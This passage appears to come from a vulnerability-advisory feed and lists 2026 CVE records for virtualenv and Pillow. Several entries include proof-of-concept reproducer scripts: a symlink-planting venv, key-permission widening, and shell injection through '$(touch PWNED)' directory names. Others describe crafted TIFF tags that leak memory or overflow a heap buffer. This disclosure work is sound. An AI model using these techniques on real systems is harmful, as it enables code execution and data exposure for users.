symlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script
generation then write through that parent link. A final-file check cannot prevent a write through a linked parent.
`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.

## Reproduction and evidence

The scanner's project tree contains `venv/bin -> ../../.local/bin` and a `.pth` file in the environment's package tree.
With the user's initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote
`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later
`pip --version` on the user's `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A
second case began with the `bin` link resolving inside the environment; replacement of a planted package link during
seeding changed where it resolved, and writes again reached `~/.local/bin`.

The attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and
would run if the user used that environment directly; the added effect is creation-time writing or replacement outside
the requested tree and an executable on the user's `PATH` pointing at it. The scanner traces this default builtin path
to 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before
creation. Concurrent parent replacement remains a separate case.

## Attack sequence

```mermaid
sequenceDiagram
 participant A as Prepared destination
 participant V as Builtin creator
 participant L as venv/bin symlink
 participant H as ~/.local/bin
 participant U as User
 A->>L: point to ../../.local/bin
 V->>L: ensure_dir accepts existing directory link
 V->>H: write python, pip and activate files through link
 V-->>U: creation reports success
 U->>H: run pip found on PATH
 H->>A: interpreter loads planted .pth
 A-->>U: marker created
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

WORK = Path("/tmp/planted-bin-link")
shutil.rmtree(WORK, ignore_errors=True)

def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
 local_bin = home / ".local/bin"
 user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
 local_bin_before = set(os.listdir(local_bin))
 payload_marker = home / "PWNED"

 # the attacker's checkout arrives at ~/project
 subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
 venv = home / "project/venv"
 print(f"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")

 # default options; the flag only keeps the run off the network
 subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
 written = sorted(set(os.listdir(local_bin)) - local_bin_before)
 payload_ran_at_creation = payload_marker.exists()
 print(f"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}")
 print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
 print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")

 # later, in another folder, the user runs pip
 pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
 print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
 print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
 return written, payload_marker.exists() and not payload_ran_at_creation

print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
home = WORK / "bin-link"
(home / ".local/bin").mkdir(parents=True)
written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")

print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
home = WORK / "bin-link-staying-inside"
(home / ".local/bin").mkdir(parents=True)
# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
(home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_stay

Affected package ranges reported by GitHub:
virtualenv: < 21.14.9
Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Deletion recovery can change a symlink target's mode
https://kevwire.com/record/CVE-2026-113724
virtualenv: Deletion recovery can change a symlink target's mode (Oct 21, 2026).
The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows
symlinks. On an eligible unlink failure this can change permissions outside the destination.

Anthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 4.5 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-43mp-35q3-x3fq).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113724&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-43mp-35q3-x3fq: https://github.com/advisories/GHSA-43mp-35q3-x3fq
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113724&date=2026-10-25
## Summary

The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows
symlinks. On an eligible unlink failure this can change permissions outside the destination.

Anthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Permission recovery after a filesystem deletion error.

## Attacker-controlled input

A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have
permission to change the target mode. This is conditional error handling, not the normal successful unlink path.

## Affected code

The relevant 21.14.8 source is in
[safe_delete()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).

## Mechanism

`safe_delete()` asks `shutil.rmtree()` to retry a failed removal after adding owner-write permission. Its error handler
calls `os.lstat(path)` for mode bits but `os.chmod(path, ...)` to apply them. For a symlink, `lstat` reads the link's
mode while `chmod` follows the link. A link inside a read-only directory can therefore cause the target's mode to become
`0777` before the retry fails. The target must be owned by the invoking user and initially not writable by that user;
root does not reach this failure path.

## Reproduction and evidence

The scanner packed a project containing a mode-`0555` `venv/bin/python/` directory and a symlink inside it pointing to
the user's mode-`0400` `keys/deploy.pem`. An unprivileged user unpacked it and ran both plain `virtualenv venv` and
`virtualenv --clear venv`. Both commands exited with `PermissionError` naming the directory inside `venv`, while the
key's mode changed from `0400` to `0777`. A control archive with a writable directory completed normally and left the
key at `0400`. The read-only mode survives `tar` or `cp -a`; a normal git clone does not preserve this setup.

This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the
widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to
#3222, first released in 21.7.5. [PR #3427](https://github.com/pypa/virtualenv/pull/3427) avoids POSIX mode changes on
deletion failure and handles Windows read-only entries without following reparse points.

## Attack sequence

```mermaid
sequenceDiagram
 participant A as Prepared read-only venv tree
 participant V as safe_delete error handler
 participant L as Symlink in venv
 participant K as User's 0400 key
 A->>V: virtualenv venv or --clear venv
 V->>L: unlink fails in 0555 directory
 V->>L: lstat returns link mode 0777
 V->>L: chmod follows symlink
 L->>K: target mode becomes 0777
 V-->>A: retry fails with PermissionError
 Note over K: Other accounts can use new mode if parent paths are traversable
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-UK90QC27`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import os
import stat
import subprocess
import sys
import tempfile
from pathlib import Path

NOBODY = 65534

work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-"))
os.chmod(work, 0o755)
os.chown(work, NOBODY, NOBODY)

# the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable
make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"]
subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True)
subprocess.run([*make_archive, work / "writable.tar", "755"], check=True)
subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True)

# from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run
os.setgroups([])
os.setgid(NOBODY)
os.setuid(NOBODY)
os.umask(0o022)

def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):
 home = work / home_name
 archive = work / archive_name
 key = home / "keys" / "deploy.pem"
 key.parent.mkdir(parents=True)
 key.write_text("PRIVATE KEY\n")
 key.chmod(0o400)
 subprocess.run(["tar", "-xf", archive], cwd=home, check=True)

 mode_before = stat.S_IMODE(key.stat().st_mode)
 command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"]
 # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it
 result = subprocess.run(
 command,
 cwd=home / "proj",
 env={**os.environ, "HOME": str(home)},
 stdout=subprocess.PIPE,
 stderr=subprocess.STDOUT,
 text=True,
 )
 mode_after = stat.S_IMODE(key.stat().st_mode)

 print(f"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}")
 print(f"{label} {key} mode {mode_before:#o} -> {mode_after:#o}")
 return mode_before, mode_after

control = unpack_next_to_key_and_run_virtualenv("CONTROL ", "home-control", "writable.tar")
default = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-default", "read-only.tar")
clear = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear")

# check: the key lives outside the destination; virtualenv has no business changing its mode
print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK")
```

**`repro.d/make_project_archive.py`**

```text
#!/usr/bin/env python3
import sys
import tarfile

archive_path = sys.argv[1]
python_folder_mode = int(sys.argv[2], 8)

with tarfile.open(archive_path, "w") as archive:
 python_folder = tarfile.TarInfo("proj/venv/bin/python")
 python_folder.type = tarfile.DIR

Affected package ranges reported by GitHub:
virtualenv: < 21.14.9
Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax
https://kevwire.com/record/CVE-2026-113722
virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax (Oct 21, 2026).
A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The
app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not
preserve it as literal data in the shell wrapper.

POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.
Windows executable launchers are not affected by this path.
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113722).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113722&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-c978-59m8-c77v: https://github.com/advisories/GHSA-c978-59m8-c77v
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-113722: https://nvd.nist.gov/vuln/detail/CVE-2026-113722
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113722&date=2026-10-25
## Summary

A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The
app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not
preserve it as literal data in the shell wrapper.

## Affected area

POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.
Windows executable launchers are not affected by this path.

## Attacker-controlled input

An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a
generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.

## Affected code

The relevant 21.14.8 source is in
[ScriptMakerCustom](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).

## Mechanism

The app-data seeder passes the environment's interpreter path through `enquote_executable()` to distlib's `ScriptMaker`.
It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path
has a space or the shebang exceeds 127 bytes, distlib emits a `#!/bin/sh` wrapper with a line shaped like
`'''exec' " " "$0" "$@"`. The shell expands `$(...)` and backticks in that path when the launcher is run. The same
wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and
activation do not trigger the shell payload.

## Reproduction and evidence

The scanner created three environments: a control under `my -touch PWNED- project`, one under
`my $(touch PWNED) project`, and one under a path of more than 127 bytes ending in `$(touch${IFS}PWNED)`. Each was
created without producing `PWNED`. Running the generated `bin/pip --version` created `PWNED` in both attack cases; the
control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the
generated launcher, with the user's privileges, rather than during seeding.

The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2.
[PR #3417](https://github.com/pypa/virtualenv/pull/3417) quotes the raw interpreter path for the POSIX wrapper and
repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip
install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up
review reports that later path separately.

## Attack sequence

```mermaid
sequenceDiagram
 participant A as Destination supplier
 participant V as virtualenv seeder
 participant D as distlib ScriptMaker
 participant S as Generated bin/pip
 participant U as User
 A->>V: path contains $(touch PWNED)
 V->>D: pass interpreter path with incomplete shell quoting
 D->>S: write /bin/sh wrapper
 Note over V,S: no payload runs during creation or activation
 U->>S: pip --version
 S->>S: shell expands path and runs touch
 S-->>U: PWNED appears with user's privileges
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-5DZVLGL1`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

WORK = Path("/tmp/repro-console-script")

# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
 "CONTROL": "my -touch PWNED- project",
 "OBSERVED": "my $(touch PWNED) project",
 # no space: distlib also picks the /bin/sh launcher once "#! /bin/python" is longer than 127 bytes
 "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}

shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
 # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
 cwd = WORK / label / "cwd"
 venv = WORK / label / name / "venv"
 cwd.mkdir(parents=True)

 # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
 subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
 assert list(cwd.iterdir()) == [], "environment creation must not have created anything"

 # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
 pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
 pip_printed[label] = pip.stdout
 created_by_pip[label] = sorted(p.name for p in cwd.iterdir())

 launcher = (venv / "bin" / "pip").read_text().splitlines()
 print(f"{label}: directory name {name!r}")
 print(f" bin/pip line 1: {launcher[0]}")
 print(f" bin/pip line 2: {launcher[1]}")
 print(f" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
 print(f" files bin/pip created in the working directory: {created_by_pip[label]}")

# check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")
```

## Fix scope and remaining exposure

PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The
pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes.

Affected package ranges reported by GitHub:
virtualenv: < 21.14.9
Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
https://kevwire.com/record/CVE-2026-112902
Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags (Oct 21, 2026).
```
============================================================================
Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
Location: src/encode.c:1014 in PyImaging_LibTiffEncoderNew()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A crafted TIFF file of a few hundred bytes makes Pillow copy an attacker-chosen amount of its own process memory into the TIFF it writes back out, or crash the process outright. The trigger is an ordinary `Image.open()` followed by a bare `im.save(fp, "TIFF")`. The only precondition is that the application re-saves images as TIFF. When the uploaded file is compressed, Pillow routes that save through libtiff automatically, with no options from the application. The attached reproducer does this with a 356-byte LZW TIFF: one crafted tag comes back holding 65536 bytes taken from `_imaging.so`'s read-only data, and a second crafted tag makes the worker die with SIGSEGV on every run.
CVSS 8.8 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-xvh5-g6gv-559v).
Sources:
GitHub-reviewed advisory GHSA-xvh5-g6gv-559v: https://github.com/advisories/GHSA-xvh5-g6gv-559v
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
```
============================================================================
Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
Location: src/encode.c:1014 in PyImaging_LibTiffEncoderNew()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A crafted TIFF file of a few hundred bytes makes Pillow copy an attacker-chosen amount of its own process memory into the TIFF it writes back out, or crash the process outright. The trigger is an ordinary `Image.open()` followed by a bare `im.save(fp, "TIFF")`. The only precondition is that the application re-saves images as TIFF. When the uploaded file is compressed, Pillow routes that save through libtiff automatically, with no options from the application. The attached reproducer does this with a 356-byte LZW TIFF: one crafted tag comes back holding 65536 bytes taken from `_imaging.so`'s read-only data, and a second crafted tag makes the worker die with SIGSEGV on every run.

The bug is in `PyImaging_LibTiffEncoderNew` (`src/encode.c`). It decides what arguments to pass to the variadic `TIFFSetField()` from the shape of the Python value (scalar, tuple or bytes). It assumes its `ImagingLibTiffMergeFieldInfo()` call defined how libtiff will read them. But `TIFFMergeFieldInfo()` never overrides libtiff's built-in field table, so libtiff reads the arguments according to its own definition of the tag:

- For a counted array tag such as DNGPrivateData (50740), a count-1 integer in the source file is taken as the byte count. The data pointer is then read from an argument slot Pillow never wrote, and that many bytes are copied into the output.
- For a fixed-size array tag such as ActiveArea (50829), the integer itself is used as the source address.

Where that unwritten slot points depends on the compiler. In the tested clang build it points into `_imaging.so`, and a larger count returned thousands of pointers into libpython, libc and libtiff, which defeats address-space randomisation for anyone chaining another bug. When the application preserves metadata with `tiffinfo=im.tag_v2`, a 64-bit entry turns ActiveArea into a 16-byte read from an address the attacker chooses. All observed memory errors are reads; no out-of-bounds write was found.

Other branches of the same loop share the defect and are reachable from crafted TIFFs or from EXIF in JPEG/PNG/WebP re-saved as compressed TIFF. These are the `bytes`, RATIONAL-tuple and typed-tuple branches, and a BYTE-typed ColorMap. The file-reachable forwarding was introduced in `a3d45e9cefd0` ("Added custom int and float TIFF tags") and first released in 5.4.0.

## Details

`PyImaging_LibTiffEncoderNew` (`src/encode.c:777-1060`) chooses the argument
list it hands to the variadic `TIFFSetField()` from the *Python* value of each
tag — scalar vs. tuple vs. `bytes`, and a type that is either autodetected or
copied from the source file's IFD — and assumes that its own
`ImagingLibTiffMergeFieldInfo()` registration defines how libtiff will read the
`va_list`. It does not: libtiff keeps its built-in definition for every tag it
already knows, and core tags are never registered at all. libtiff therefore
consumes the varargs as `(count, pointer)`, `(pointer)` or three pointers
according to *its* field table, whatever Pillow actually pushed. The encoder
never consults that table (`TIFFFindField` / `TIFFFieldPassCount` /
`TIFFFieldWriteCount` / `TIFFFieldDataType`) before the call.

The most severe instance, and the one the attached reproducer exercises: when a
TIFF is re-saved through the libtiff writer, every tag of the source IFD that
Pillow does not recognise is forwarded to libtiff with `TIFFSetField()`. A
count-1 integer entry is passed as a single scalar vararg. If libtiff's own
field table defines that tag number as an *array* field, libtiff consumes the
varargs as `(count, pointer)` or `(pointer)` instead, so the attacker's integer
becomes either the number of bytes to copy from a never-written vararg slot, or
the source address itself. The same mismatch is reachable through the typed
tuple branches (tuple length consumed as a pointer for fixed-count built-in
tags such as `CFARepeatPatternDim`, even when the source file is well-formed),
the `bytes`, `TIFF_RATIONAL`-tuple and core-tag branches of the same loop;
those are listed
under *Other branches with the same defect* below and need to be covered by the
same fix.

A 181-byte TIFF (16×16 RGB, one LZW strip, plus one extra IFD entry
`50740 / LONG / count 1 / value 4096` — DNGPrivateData) opened with
`Image.open()` and saved with a bare `im.save(buf, "TIFF")` produces a 4296-byte
output whose tag 50740 holds 4096 bytes that occur nowhere in the input; scanning
`/proc/self/mem` finds them in the read-only data segment of `_imaging.so`.
Changing the extra entry to `50829 / LONG / 1 / 64` (ActiveArea) makes the same
two calls segfault in `memcpy(dst, src=0x40, n=16)` under
`ImagingLibTiffSetField` ← `PyImaging_LibTiffEncoderNew`. An ASan build of the
extensions reports `READ of size 4096` in `memcpy` called from
`src/encode.c:1014` for the first input.

### Code path

`_save` copies all tags of the opened image into the libtiff attribute list.
For a tag that is neither in `LIBTIFF_CORE` nor in `TiffTags.TAGS_V2`, no type
is recorded, so the value goes through untyped:

```python
# src/PIL/TiffImagePlugin.py:1782
supplied_tags = {**legacy_ifd, **getattr(im, "tag_v2", {})}
…
# :1959-1982
for tag, value in itertools.chain(ifd.items(), supplied_tags.items()):
 if tag not in TiffTags.LIBTIFF_CORE:
 …
 elif isinstance(value, (int, float, str, bytes)) or …:
 type = TiffTags.lookup(tag).type # None for 50740, 50829, …
 if type:
 types[tag] = type
 if tag not in atts and tag not in blocklist:
 …
 atts[tag] = value # plain int 4096
```

`compression` defaults to the source image's `im.info["compression"]`
(`TiffImagePlugin.py:1731-1746`), so a compressed source selects the libti

Affected package ranges reported by GitHub:
Pillow: <= 12.3.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO
https://kevwire.com/record/CVE-2026-112393
Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO (Oct 21, 2026).
```
============================================================================
Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO
Location: src/libImaging/TiffDecode.c:94 in _tiffWriteProc()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Pillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as `io.BytesIO` rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here.
CVSS 9.2 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-332p-7hrc-92wf).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112393&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-332p-7hrc-92wf: https://github.com/advisories/GHSA-332p-7hrc-92wf
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
